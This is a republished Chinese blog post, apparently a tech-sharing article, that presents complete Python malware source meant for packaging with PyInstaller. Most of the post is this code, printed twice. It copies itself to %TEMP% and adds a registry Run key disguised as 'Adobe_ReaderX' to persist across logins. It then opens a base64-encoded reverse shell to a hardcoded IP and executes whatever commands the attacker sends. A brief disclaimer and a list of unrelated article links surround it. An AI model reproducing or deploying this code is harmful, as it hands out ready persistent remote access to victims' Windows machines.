技术分享:如何用Python和PyInstaller编写Windows恶意代码
来源:互联网 发布:gblive直播软件 编辑:程序博客网 时间:2024/06/05 22:54
免责声明:本文旨在分享,切勿恶意利用!
本文主要展示的是通过使用python和PyInstaller来构建恶意软件的一些poc。转载自:点击打开链接
原文请点击:点击打开链接
众所周知的,恶意软件多会对目标进行持续性的攻击。而这一点在windows上有很多方法可以实现,最常见的做法是修改以下注册表项:“Software\Microsoft\Windows\CurrentVersion\Run”。以下是对利用python去复制程序到%TEMP%目录,然后对注册表进行修改使得这段代码可以在用户登录电脑时执行。
import sys, base64, os, socket, subprocessfrom _winreg import *def autorun(tempdir, fileName, run):# Copy executable to %TEMP%: os.system('copy %s %s'%(fileName, tempdir))# Queries Windows registry for key values# Appends autorun key to runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0 while True: subkey = EnumValue(key, i) runkey.append(subkey[0]) i += 1 except WindowsError: pass# Set autorun key: if 'Adobe ReaderX' not in runkey: try: key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS) SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe") key.Close() except WindowsError: pass
在将代码放到 %TEMP%目录中并且设置了持续性之后,我们就可以执行下一部分代码,反向的壳。这里我利用了TrustedSec公布的python的反向shell,不过进行了一些修改—对网络流量进行Base64编码。
def shell():#Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.1', int(443))) s.send('[*] Connection Established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close()def main(): tempdir = '%TEMP%' fileName = sys.argv[0] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell()if __name__ == "__main__": main()
现在当这个程序执行时,它将会打开一个反向shell返回到“攻击者”。在这种情况下“攻击者”只是脚本中硬编码的ip,但在一个域或者亚马逊云上却是非常简单轻松的。下图展示了程序在Windows主机上执行并连接到攻击者,你可以注意到这里的网络流量是base64编码的:
以下是完整的代码:
import sys, base64, os, socket, subprocessfrom _winreg import *def autorun(tempdir, fileName, run):# Copy executable to %TEMP%: os.system('copy %s %s'%(fileName, tempdir))# Queries Windows registry for the autorun key value# Stores the key values in runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0 while True: subkey = EnumValue(key, i) runkey.append(subkey[0]) i += 1 except WindowsError: pass# If the autorun key "Adobe ReaderX" isn't set this will set the key: if 'Adobe ReaderX' not in runkey: try: key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS) SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe") key.Close() except WindowsError: passdef shell():#Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.1', int(443))) s.send('[*] Connection Established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close()def main(): tempdir = '%TEMP%' fileName = sys.argv[0] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell()if __name__ == "__main__": main()
0 0
- 技术分享:如何用Python和PyInstaller编写Windows恶意代码
- 如何用Python和PyInstaller编写Windows恶意代码
- 如何用VC编写WINDOWS DLL
- 如何用ATL编写Windows服务
- 如何用python编写collectd的plugin
- 如何用python制作一个锻炼计算能力的exe小程序-学习笔记11-pyinstaller
- 如何用pyinstaller将需要传参数的Python文件生成exe文件
- 如何用VC6.0编写Windows Service程序
- windows下,如何用C++编写守护进程
- 在windows下如何用c++编写守护进程
- 在windows下如何用c++编写守护进程
- 如何用Python编写一个简单的爬虫
- 如何用9行Python代码编写一个简易神经网络
- 如何用C编写除法和求模函数
- windows平台下如何用Python杀进程
- windows平台下如何用Python杀进程
- windows平台下如何用Python杀进程
- windows平台下如何用Python杀进程
- Verilog小叙(二)
- C# yield return用法分析
- “金箍咒”我的全排列组合算法设计演化之一重组字符串
- sql合并多行记录
- codeforces-1B-Spreadsheets( C++ && PHP && 字符串操作 && 数学逻辑 )
- 技术分享:如何用Python和PyInstaller编写Windows恶意代码
- SQL 拼接多个字段的值&一个字段多条记录的拼接
- Verilog小叙(三)
- 修改 MySQL max_allowed_packet设置及问题
- [leetcode]Add Two Numbers
- 一些android大牛的博客
- (转载)C++:浅拷贝与深拷贝
- eclipse部署web项目中各种错误总汇
- Objective-C之block详细介绍